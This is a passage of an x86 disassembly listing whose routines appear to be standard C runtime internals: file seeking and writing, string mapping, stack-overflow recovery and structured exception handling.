pop ecx
jmp short loc_425699
; ---------------------------------------------------------------------------
loc_425633: ; CODE XREF: sub_4255CA+3Aj
; sub_4255CA+44j
fld [ebp+arg_0]
push ebx
fadd ds:dbl_439B68
sub esp, 10h
fstp qword ptr [esp+8]
fld [ebp+arg_0]
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_425691
; ---------------------------------------------------------------------------
loc_425650: ; CODE XREF: sub_4255CA+2Fj
call sub_42793D
fstp [ebp+var_8]
fld [ebp+arg_0]
pop ecx
fld [ebp+var_8]
pop ecx
fucompp
fnstsw ax
test ah, 44h
jp short loc_425677
loc_425669: ; CODE XREF: sub_4255CA+B0j
push esi
push ebx
call sub_427AA6
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_425699
; ---------------------------------------------------------------------------
loc_425677: ; CODE XREF: sub_4255CA+9Dj
test bl, 20h
jnz short loc_425669
fld [ebp+var_8]
push ebx ; int
sub esp, 10h
fstp qword ptr [esp+8]
fld [ebp+arg_0]
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_425691: ; CODE XREF: sub_4255CA+84j
call sub_427885
add esp, 1Ch
loc_425699: ; CODE XREF: sub_4255CA+59j
; sub_4255CA+67j ...
pop esi
pop ebx
leave
retn
sub_4255CA endp
; =============== S U B R O U T I N E =======================================
sub_42569D proc near ; CODE XREF: sub_421D41+19Ap
; sub_422124+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
cmp eax, ds:dword_4E2B98
push ebx
push esi
push edi
jnb short loc_425711
mov ecx, eax
sar ecx, 5
mov esi, eax
and esi, 1Fh
lea edi, ds:4E2BA0h[ecx*4]
mov ecx, [edi]
shl esi, 3
test byte ptr [ecx+esi+4], 1
jz short loc_425711
push eax
call sub_42696C
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425718
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call ds:dword_42B0B8 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4256F5
call ds:dword_42B01C ; RtlGetLastWin32Error
jmp short loc_4256F7
; ---------------------------------------------------------------------------
loc_4256F5: ; CODE XREF: sub_42569D+4Ej
xor eax, eax
loc_4256F7: ; CODE XREF: sub_42569D+56j
test eax, eax
jz short loc_425704
push eax
call sub_422C0F
pop ecx
jmp short loc_425722
; ---------------------------------------------------------------------------
loc_425704: ; CODE XREF: sub_42569D+5Cj
mov eax, [edi]
lea eax, [eax+esi+4]
and byte ptr [eax], 0FDh
mov eax, ebx
jmp short loc_425725
; ---------------------------------------------------------------------------
loc_425711: ; CODE XREF: sub_42569D+Dj
; sub_42569D+2Aj
and ds:dword_4E28F8, 0
loc_425718: ; CODE XREF: sub_42569D+36j
mov ds:dword_4E28F4, 9
loc_425722: ; CODE XREF: sub_42569D+65j
or eax, 0FFFFFFFFh
loc_425725: ; CODE XREF: sub_42569D+72j
pop edi
pop esi
pop ebx
retn
sub_42569D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
mov esi, [edi+10h]
xor ebx, ebx
cmp [edi+4], ebx
mov [ebp-0Ch], esi
jge short loc_425745
mov [edi+4], ebx
loc_425745: ; CODE XREF: seg000:00425740j
push 1
push ebx
push esi
call sub_42569D
add esp, 0Ch
cmp eax, ebx
mov [ebp-4], eax
jl short loc_4257C2
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_42576A
sub eax, [edi+4]
jmp loc_42587D
; ---------------------------------------------------------------------------
loc_42576A: ; CODE XREF: seg000:00425760j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp-8], ebx
jz short loc_4257B4
mov edx, esi
sar edx, 5
mov edx, ds:dword_4E2BA0[edx*4]
mov ebx, esi
and ebx, 1Fh
test byte ptr [edx+ebx*8+4], 80h
jz short loc_4257A6
mov edx, ecx
cmp edx, eax
jnb short loc_4257A6
loc_425799: ; CODE XREF: seg000:004257A4j
cmp byte ptr [edx], 0Ah
jnz short loc_4257A1
inc dword ptr [ebp-8]
loc_4257A1: ; CODE XREF: seg000:0042579Cj
inc edx
cmp edx, [edi]
jb short loc_425799
loc_4257A6: ; CODE XREF: seg000:00425791j
; seg000:00425797j ...
cmp dword ptr [ebp-4], 0
jnz short loc_4257CA
mov eax, [ebp-8]
jmp loc_42587D
; ---------------------------------------------------------------------------
loc_4257B4: ; CODE XREF: seg000:00425779j
test dl, dl
js short loc_4257A6
mov ds:dword_4E28F4, 16h
loc_4257C2: ; CODE XREF: seg000:00425756j
or eax, 0FFFFFFFFh
jmp loc_42587D
; ---------------------------------------------------------------------------
loc_4257CA: ; CODE XREF: seg000:004257AAj
test byte ptr [edi+0Ch], 1
jz loc_425875
mov edx, [edi+4]
test edx, edx
jnz short loc_4257E3
and [ebp-8], edx
jmp loc_425875
; ---------------------------------------------------------------------------
loc_4257E3: ; CODE XREF: seg000:004257D9j
sub eax, ecx
add eax, edx
mov [ebp+8], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4E2BA0h[eax*4]
mov eax, [ebx]
shl esi, 3
test byte ptr [esi+eax+4], 80h
jz short loc_42586F
push 2
push 0
push dword ptr [ebp-0Ch]
call sub_42569D
add esp, 0Ch
cmp eax, [ebp-4]
jnz short loc_425836
mov eax, [edi+8]
mov ecx, [ebp+8]
add ecx, eax
jmp short loc_42582C
; ---------------------------------------------------------------------------
loc_425823: ; CODE XREF: seg000:0042582Ej
cmp byte ptr [eax], 0Ah
jnz short loc_42582B
inc dword ptr [ebp+8]
loc_42582B: ; CODE XREF: seg000:00425826j
inc eax
loc_42582C: ; CODE XREF: seg000:00425821j
cmp eax, ecx
jb short loc_425823
test byte ptr [edi+0Dh], 20h
jmp short loc_42586A
; ---------------------------------------------------------------------------
loc_425836: ; CODE XREF: seg000:00425817j
push 0
push dword ptr [ebp-4]
push dword ptr [ebp-0Ch]
call sub_42569D
mov eax, 200h
add esp, 0Ch
cmp [ebp+8], eax
ja short loc_42585D
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_42585D
test ch, 4
jz short loc_425860
loc_42585D: ; CODE XREF: seg000:0042584Ej
; seg000:00425856j
mov eax, [edi+18h]
loc_425860: ; CODE XREF: seg000:0042585Bj
mov [ebp+8], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_42586A: ; CODE XREF: seg000:00425834j
jz short loc_42586F
inc dword ptr [ebp+8]
loc_42586F: ; CODE XREF: seg000:00425803j
; seg000:loc_42586Aj
mov eax, [ebp+8]
sub [ebp-4], eax
loc_425875: ; CODE XREF: seg000:004257CEj
; seg000:004257DEj
mov eax, [ebp-8]
mov ecx, [ebp-4]
add eax, ecx
loc_42587D: ; CODE XREF: seg000:00425765j
; seg000:004257AFj ...
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=39Ch
sub_425882 proc near ; CODE XREF: seg000:00420823p
; sub_420FC7+2Cp ...
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = dword ptr -40Ch
var_408 = byte ptr -408h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-39Ch]
sub esp, 41Ch
mov ecx, [ebp+39Ch+arg_0]
cmp ecx, ds:dword_4E2B98
mov eax, ds:dword_4437D4
push ebx
push esi
mov [ebp+39Ch+var_4], eax
push edi
jnb loc_425A48
mov eax, ecx
sar eax, 5
lea ebx, ds:4E2BA0h[eax*4]
mov eax, [ebx]
mov esi, ecx
and esi, 1Fh
shl esi, 3
mov al, [eax+esi+4]
test al, 1
mov [ebp+39Ch+var_41C], ebx
jz loc_425A48
xor edi, edi
cmp [ebp+39Ch+arg_8], edi
mov [ebp+39Ch+var_410], edi
mov [ebp+39Ch+var_418], edi
jnz short loc_4258EC
loc_4258E5: ; CODE XREF: sub_425882+1A9j
xor eax, eax
jmp loc_425A5C
; ---------------------------------------------------------------------------
loc_4258EC: ; CODE XREF: sub_425882+61j
test al, 20h
jz short loc_4258FD
push 2
push edi
push edi
push ecx
call sub_42823C
add esp, 10h
loc_4258FD: ; CODE XREF: sub_425882+6Cj
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_4259D2
cmp [ebp+39Ch+arg_8], edi
mov eax, [ebp+39Ch+arg_4]
mov [ebp+39Ch+var_40C], eax
mov [ebp+39Ch+arg_0], edi
jbe loc_425A19
loc_425926: ; CODE XREF: sub_425882+119j
mov ecx, [ebp+39Ch+var_40C]
sub ecx, [ebp+39Ch+arg_4]
lea eax, [ebp+39Ch+var_408]
loc_425932: ; CODE XREF: sub_425882+DBj
cmp ecx, [ebp+39Ch+arg_8]
jnb short loc_42595F
mov edx, [ebp+39Ch+var_40C]
inc [ebp+39Ch+var_40C]
mov dl, [edx]
inc ecx
cmp dl, 0Ah
jnz short loc_425950
inc [ebp+39Ch+var_418]
mov byte ptr [eax], 0Dh
inc eax
inc edi
loc_425950: ; CODE XREF: sub_425882+C4j
mov ebx, [ebp+39Ch+var_41C]
mov [eax], dl
inc eax
inc edi
cmp edi, 400h
jl short loc_425932
loc_42595F: ; CODE XREF: sub_425882+B6j
mov edi, eax
lea eax, [ebp+39Ch+var_408]
sub edi, eax
push 0
lea eax, [ebp+39Ch+var_414]
push eax
push edi
lea eax, [ebp+39Ch+var_408]
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call ds:dword_42B084 ; WriteFile
test eax, eax
jz short loc_42599F
mov eax, [ebp+39Ch+var_414]
add [ebp+39Ch+var_410], eax
cmp eax, edi
jl short loc_4259AB
mov eax, [ebp+39Ch+var_40C]
sub eax, [ebp+39Ch+arg_4]
xor edi, edi
cmp eax, [ebp+39Ch+arg_8]
jb short loc_425926
jmp short loc_4259AD
; ---------------------------------------------------------------------------
loc_42599F: ; CODE XREF: sub_425882+FCj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov [ebp+39Ch+arg_0], eax
loc_4259AB: ; CODE XREF: sub_425882+106j
xor edi, edi
loc_4259AD: ; CODE XREF: sub_425882+11Bj
; sub_425882+179j ...
mov eax, [ebp+39Ch+var_410]
cmp eax, edi
jnz loc_425A43
cmp [ebp+39Ch+arg_0], edi
jz short loc_425A19
push 5
pop eax
cmp [ebp+39Ch+arg_0], eax
jnz short loc_425A0B
mov ds:dword_4E28F8, eax
jmp short loc_425A4F
; ---------------------------------------------------------------------------
loc_4259D2: ; CODE XREF: sub_425882+83j
push edi
lea ecx, [ebp+39Ch+var_414]
push ecx
push [ebp+39Ch+arg_8]
push [ebp+39Ch+arg_4]
push dword ptr [eax]
call ds:dword_42B084 ; WriteFile
test eax, eax
jz short loc_4259FD
mov eax, [ebp+39Ch+var_414]
mov [ebp+39Ch+arg_0], edi
mov [ebp+39Ch+var_410], eax
jmp short loc_4259AD
; ---------------------------------------------------------------------------
loc_4259FD: ; CODE XREF: sub_425882+16Bj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov [ebp+39Ch+arg_0], eax
jmp short loc_4259AD
; ---------------------------------------------------------------------------
loc_425A0B: ; CODE XREF: sub_425882+147j
push [ebp+39Ch+arg_0]
call sub_422C0F
pop ecx
jmp short loc_425A59
; ---------------------------------------------------------------------------
loc_425A19: ; CODE XREF: sub_425882+9Ej
; sub_425882+13Cj
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_425A31
mov eax, [ebp+39Ch+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_4258E5
loc_425A31: ; CODE XREF: sub_425882+19Ej
mov ds:dword_4E28F4, 1Ch
mov ds:dword_4E28F8, edi
jmp short loc_425A59
; ---------------------------------------------------------------------------
loc_425A43: ; CODE XREF: sub_425882+130j
sub eax, [ebp+39Ch+var_418]
jmp short loc_425A5C
; ---------------------------------------------------------------------------
loc_425A48: ; CODE XREF: sub_425882+28j
; sub_425882+4Dj
and ds:dword_4E28F8, 0
loc_425A4F: ; CODE XREF: sub_425882+14Ej
mov ds:dword_4E28F4, 9
loc_425A59: ; CODE XREF: sub_425882+195j
; sub_425882+1BFj
or eax, 0FFFFFFFFh
loc_425A5C: ; CODE XREF: sub_425882+65j
; sub_425882+1C4j
mov ecx, [ebp+39Ch+var_4]
pop edi
pop esi
pop ebx
call sub_422B83
add ebp, 39Ch
leave
retn
sub_425882 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push 4
pop eax
call sub_41EA20
mov esi, esp
push 1Ch
lea eax, [ebp-28h]
push eax
push esi
call ds:dword_42B178 ; VirtualQuery
test eax, eax
jz short loc_425B0D
mov ebx, [ebp-24h]
lea eax, [ebp-4Ch]
push eax
call ds:dword_42B0F4 ; GetSystemInfo
mov ecx, [ebp-48h]
mov eax, ds:dword_4E2900
lea edi, [ecx-1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0FFFFFFF1h
add esi, 11h
imul esi, ecx
add esi, ebx
cmp edi, esi
mov [ebp-8], ecx
jb short loc_425B0D
cmp eax, 1
jz short loc_425B2E
mov [ebp-4], ebx
mov ebx, 1000h
loc_425ADA: ; CODE XREF: seg000:00425AF6j
push 1Ch
lea eax, [ebp-28h]
push eax
push dword ptr [ebp-4]
call ds:dword_42B178 ; VirtualQuery
test eax, eax
jz short loc_425B0D
mov eax, [ebp-1Ch]
add [ebp-4], eax
test [ebp-18h], ebx
jz short loc_425ADA
test byte ptr [ebp-13h], 1
mov eax, [ebp-28h]
mov [ebp-4], eax
jz short loc_425B09
xor eax, eax
inc eax
jmp short loc_425B4D
; ---------------------------------------------------------------------------
loc_425B09: ; CODE XREF: seg000:00425B02j
cmp edi, eax
jnb short loc_425B11
loc_425B0D: ; CODE XREF: seg000:00425A94j
; seg000:00425ACBj ...
xor eax, eax
jmp short loc_425B4D
; ---------------------------------------------------------------------------
loc_425B11: ; CODE XREF: seg000:00425B0Bj
cmp eax, esi
jnb short loc_425B18
mov [ebp-4], esi
loc_425B18: ; CODE XREF: seg000:00425B13j
push 4
push ebx
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call ds:dword_42B1B8 ; VirtualAlloc
mov eax, ds:dword_4E2900
jmp short loc_425B31
; ---------------------------------------------------------------------------
loc_425B2E: ; CODE XREF: seg000:00425AD0j
mov [ebp-4], edi
loc_425B31: ; CODE XREF: seg000:00425B2Cj
dec eax
neg eax
sbb eax, eax
and eax, 103h
lea ecx, [ebp-0Ch]
push ecx
inc eax
push eax
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call ds:dword_42B17C ; VirtualProtect
loc_425B4D: ; CODE XREF: seg000:00425B07j
; seg000:00425B0Fj
lea esp, [ebp-58h]
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_425B55 proc near ; CODE XREF: sub_420B27+9Ep
; sub_422D8A+C5p ...
push 38h
push offset dword_439C28
call sub_425F14
xor ebx, ebx
cmp ds:dword_4E29BC, ebx
jnz short loc_425BA3
push ebx
push ebx
xor esi, esi
inc esi
push esi
push offset dword_439C24
push 100h
push ebx
call ds:dword_42B170 ; LCMapStringW
test eax, eax
jz short loc_425B8E
mov ds:dword_4E29BC, esi
jmp short loc_425BA3
; ---------------------------------------------------------------------------
loc_425B8E: ; CODE XREF: sub_425B55+2Fj
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_425BA3
mov ds:dword_4E29BC, 2
loc_425BA3: ; CODE XREF: sub_425B55+14j
; sub_425B55+37j ...
cmp [ebp+14h], ebx
jle short loc_425BC3
mov ecx, [ebp+14h]
mov eax, [ebp+10h]
loc_425BAE: ; CODE XREF: sub_425B55+61j
dec ecx
cmp [eax], bl
jz short loc_425BBB
inc eax
cmp ecx, ebx
jnz short loc_425BAE
or ecx, 0FFFFFFFFh
loc_425BBB: ; CODE XREF: sub_425B55+5Cj
or eax, 0FFFFFFFFh
sub eax, ecx
add [ebp+14h], eax
loc_425BC3: ; CODE XREF: sub_425B55+51j
mov eax, ds:dword_4E29BC
cmp eax, 2
jz loc_425DAD
cmp eax, ebx
jz loc_425DAD
cmp eax, 1
jnz loc_425DE0
xor edi, edi
mov [ebp-2Ch], edi
mov [ebp-38h], ebx
mov [ebp-34h], ebx
cmp [ebp+20h], ebx
jnz short loc_425BFA
mov eax, ds:dword_4E29B4
mov [ebp+20h], eax
loc_425BFA: ; CODE XREF: sub_425B55+9Bj
push ebx
push ebx
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
xor eax, eax
cmp [ebp+24h], ebx
setnz al
lea eax, ds:1[eax*8]
push eax
push dword ptr [ebp+20h]
call ds:dword_42B07C ; MultiByteToWideChar
mov esi, eax
mov [ebp-30h], esi
cmp esi, ebx
jz loc_425DE0
mov dword ptr [ebp-4], 1
lea eax, [esi+esi]
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov eax, esp
mov [ebp-1Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_425C66
; ---------------------------------------------------------------------------
db 33h
dd 8BC340C0h, 1BE8E865h, 33FFFFFEh, 0E45D89DBh, 0FFFC4D83h
dd 8BD47D8Bh
db 75h, 0D0h
; ---------------------------------------------------------------------------
loc_425C66: ; CODE XREF: sub_425B55+F4j
cmp [ebp-1Ch], ebx
jnz short loc_425C87
lea eax, [esi+esi]
push eax
call sub_41E5D3
pop ecx
mov [ebp-1Ch], eax
cmp eax, ebx
jz loc_425DE0
mov dword ptr [ebp-38h], 1
loc_425C87: ; CODE XREF: sub_425B55+114j
push esi
push dword ptr [ebp-1Ch]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push 1
push dword ptr [ebp+20h]
call ds:dword_42B07C ; MultiByteToWideChar
test eax, eax
jz loc_425D8A
push ebx
push ebx
push esi
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B170 ; LCMapStringW
mov edi, eax
mov [ebp-2Ch], edi
cmp edi, ebx
jz loc_425D8A
test byte ptr [ebp+0Dh], 4
jz short loc_425CF6
cmp [ebp+1Ch], ebx
jz loc_425D8A
cmp edi, [ebp+1Ch]
jg loc_425D8A
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push esi
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B170 ; LCMapStringW
jmp loc_425D8A
; ---------------------------------------------------------------------------
loc_425CF6: ; CODE XREF: sub_425B55+172j
mov dword ptr [ebp-4], 2
lea eax, [edi+edi]
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov eax, esp
mov [ebp-20h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_425D34
; ---------------------------------------------------------------------------
db 33h, 0C0h, 40h
dd 0E8658BC3h, 0FFFD4DE8h, 89DB33FFh, 4D83E05Dh, 7D8BFFFCh
dd 0D0758BD4h
; ---------------------------------------------------------------------------
loc_425D34: ; CODE XREF: sub_425B55+1C2j
cmp [ebp-20h], ebx
jnz short loc_425D51
lea eax, [edi+edi]
push eax
call sub_41E5D3
pop ecx
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_425D8A
mov dword ptr [ebp-34h], 1
loc_425D51: ; CODE XREF: sub_425B55+1E2j
push edi
push dword ptr [ebp-20h]
push esi
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B170 ; LCMapStringW
test eax, eax
jz short loc_425D8A
push ebx
push ebx
cmp [ebp+1Ch], ebx
jnz short loc_425D74
push ebx
push ebx
jmp short loc_425D7A
; ---------------------------------------------------------------------------
loc_425D74: ; CODE XREF: sub_425B55+219j
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_425D7A: ; CODE XREF: sub_425B55+21Dj
push edi
push dword ptr [ebp-20h]
push ebx
push dword ptr [ebp+20h]
call ds:dword_42B090 ; WideCharToMultiByte
mov edi, eax
loc_425D8A: ; CODE XREF: sub_425B55+149j
; sub_425B55+168j ...
cmp [ebp-34h], ebx
jz short loc_425D98
push dword ptr [ebp-20h]
call sub_41E2A1
pop ecx
loc_425D98: ; CODE XREF: sub_425B55+238j
cmp [ebp-38h], ebx
jz short loc_425DA6
push dword ptr [ebp-1Ch]
call sub_41E2A1
pop ecx
loc_425DA6: ; CODE XREF: sub_425B55+246j
mov eax, edi
jmp loc_425F08
; ---------------------------------------------------------------------------
loc_425DAD: ; CODE XREF: sub_425B55+76j
; sub_425B55+7Ej
mov [ebp-28h], ebx
xor edi, edi
mov [ebp-3Ch], ebx
cmp [ebp+8], ebx
jnz short loc_425DC2
mov eax, ds:dword_4E29A4
mov [ebp+8], eax
loc_425DC2: ; CODE XREF: sub_425B55+263j
cmp [ebp+20h], ebx
jnz short loc_425DCF
mov eax, ds:dword_4E29B4
mov [ebp+20h], eax
loc_425DCF: ; CODE XREF: sub_425B55+270j
push dword ptr [ebp+8]
call sub_4282DB
pop ecx
mov [ebp-40h], eax
cmp eax, 0FFFFFFFFh
jnz short loc_425DE7
loc_425DE0: ; CODE XREF: sub_425B55+87j
; sub_425B55+CDj ...
xor eax, eax
jmp loc_425F08
; ---------------------------------------------------------------------------
loc_425DE7: ; CODE XREF: sub_425B55+289j
cmp eax, [ebp+20h]
jz loc_425EDE
push ebx
push ebx
lea ecx, [ebp+14h]
push ecx
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+20h]
call sub_42831E
add esp, 18h
mov [ebp-28h], eax
cmp eax, ebx
jz short loc_425DE0
push ebx
push ebx
push dword ptr [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B174 ; LCMapStringA
mov esi, eax
mov [ebp-24h], esi
cmp esi, ebx
jz loc_425ECD
mov [ebp-4], ebx
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov edi, esp
mov [ebp-44h], edi
push esi
push ebx
push edi
call sub_41E5F0
add esp, 0Ch
jmp short loc_425E5E
; ---------------------------------------------------------------------------
dw 0C033h
dd 658BC340h, 0FC18E8E8h, 0DB33FFFFh
db 33h, 0FFh
; ---------------------------------------------------------------------------
loc_425E5E: ; CODE XREF: sub_425B55+2F7j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp edi, ebx
jnz short loc_425E89
push dword ptr [ebp-24h]
call sub_41E5D3
pop ecx
mov edi, eax
cmp edi, ebx
jz short loc_425EA6
push dword ptr [ebp-24h]
push ebx
push edi
call sub_41E5F0
add esp, 0Ch
mov dword ptr [ebp-3Ch], 1
loc_425E89: ; CODE XREF: sub_425B55+30Fj
push dword ptr [ebp-24h]
push edi
push dword ptr [ebp+14h]
push dword ptr [ebp-28h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B174 ; LCMapStringA
mov [ebp-24h], eax
cmp eax, ebx
jnz short loc_425EAA
loc_425EA6: ; CODE XREF: sub_425B55+31Ej
xor esi, esi
jmp short loc_425ED0
; ---------------------------------------------------------------------------
loc_425EAA: ; CODE XREF: sub_425B55+34Fj
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
lea eax, [ebp-24h]
push eax
push edi
push dword ptr [ebp+20h]
push dword ptr [ebp-40h]
call sub_42831E
add esp, 18h
mov esi, eax
neg esi
sbb esi, esi
neg esi
jmp short loc_425ED0
; ---------------------------------------------------------------------------
loc_425ECD: ; CODE XREF: sub_425B55+2D0j
mov esi, [ebp-48h]
loc_425ED0: ; CODE XREF: sub_425B55+353j
; sub_425B55+376j
cmp [ebp-3Ch], ebx
jz short loc_425EF8
push edi
call sub_41E2A1
pop ecx
jmp short loc_425EF8
; ---------------------------------------------------------------------------
loc_425EDE: ; CODE XREF: sub_425B55+295j
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B174 ; LCMapStringA
mov esi, eax
loc_425EF8: ; CODE XREF: sub_425B55+37Ej
; sub_425B55+387j
cmp [ebp-28h], ebx
jz short loc_425F06
push dword ptr [ebp-28h]
call sub_41E2A1
pop ecx
loc_425F06: ; CODE XREF: sub_425B55+3A6j
mov eax, esi
loc_425F08: ; CODE XREF: sub_425B55+253j
; sub_425B55+28Dj
lea esp, [ebp-54h]
call sub_425F4F
retn
sub_425B55 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425F14 proc near ; CODE XREF: start-C32ECp
; sub_422B83-2Ap ...
arg_4 = dword ptr 8
push offset loc_425F68
mov eax, large fs:0
push eax
mov eax, [esp+8+arg_4]
mov [esp+8+arg_4], ebp
lea ebp, [esp+8+arg_4]
sub esp, eax
push ebx
push esi
push edi
mov eax, [ebp-8]
mov [ebp-18h], esp
push eax
mov eax, [ebp-4]
mov dword ptr [ebp-4], 0FFFFFFFFh
mov [ebp-8], eax
lea eax, [ebp-10h]
mov large fs:0, eax
retn
sub_425F14 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425F4F proc near ; CODE XREF: start-C311Dp
; sub_423257:loc_423295p ...
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
leave
push ecx
retn
sub_425F4F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 30324356h, 30304358h
; ---------------------------------------------------------------------------
loc_425F68: ; DATA XREF: sub_425F14o
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_426031
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
push ebx
call sub_4284E7
add esp, 4
or eax, eax
jz short loc_426023
loc_425FA8: ; CODE XREF: seg000:0042601Aj
cmp esi, 0FFFFFFFFh
jz short loc_42602A
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4+4]
or eax, eax
jz short loc_426011
push esi
push ebp
lea ebp, [ebx+10h]
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
call eax
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_426011
js short loc_42601C
mov edi, [ebx+8]
push ebx
call sub_420274
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4202B6
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_42034A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
mov eax, [edi+ecx*4+8]
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
call eax
loc_426011: ; CODE XREF: seg000:00425FB6j
; seg000:00425FD0j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_425FA8
; ---------------------------------------------------------------------------
loc_42601C: ; CODE XREF: seg000:00425FD2j
mov eax, 0
jmp short loc_426046
; ---------------------------------------------------------------------------
loc_426023: ; CODE XREF: seg000:00425FA6j
mov eax, [ebp+8]
or dword ptr [eax+4], 8
loc_42602A: ; CODE XREF: seg000:00425FABj
mov eax, 1
jmp short loc_426046
; ---------------------------------------------------------------------------
loc_426031: ; CODE XREF: seg000:00425F80j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4202B6
add esp, 8
pop ebp
mov eax, 1
loc_426046: ; CODE XREF: seg000:00426021j
; seg000:0042602Fj
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
dw 8B55h
dd 8B08244Ch, 1C418B29h, 18418B50h, 0A254E850h, 0C483FFFFh
dd 4C25D08h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=8Ch
sub_426069 proc near ; CODE XREF: sub_420CE8+12p
; start-C3211p ...
var_10C = byte ptr -10Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-8Ch]
sub esp, 10Ch
mov eax, ds:dword_4437D4
mov ecx, [ebp+8Ch+arg_0]
push ebx
push esi
mov [ebp+8Ch+var_4], eax
xor edx, edx
push edi
xor eax, eax
loc_42608F: ; CODE XREF: sub_426069+33j
cmp ecx, ds:dword_443A88[eax*8]
jz short loc_42609E
inc eax
cmp eax, 13h
jb short loc_42608F
loc_42609E: ; CODE XREF: sub_426069+2Dj
mov esi, eax
shl esi, 3
cmp ecx, ds:dword_443A88[esi]
jnz loc_4261C4
mov eax, ds:dword_4E295C
cmp eax, 1
jz loc_42619C
cmp eax, edx
jnz short loc_4260CE
cmp ds:dword_4437C4, 1
jz loc_42619C
loc_4260CE: ; CODE XREF: sub_426069+56j
cmp ecx, 0FCh
jz loc_4261C4
push 104h
lea eax, [ebp+8Ch+var_10C]
push eax
push edx
mov [ebp+8Ch+var_8], dl
call ds:dword_42B00C ; GetModuleFileNameA
test eax, eax
jnz short loc_426104
lea eax, [ebp+8Ch+var_10C]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41EEC0
pop ecx
pop ecx
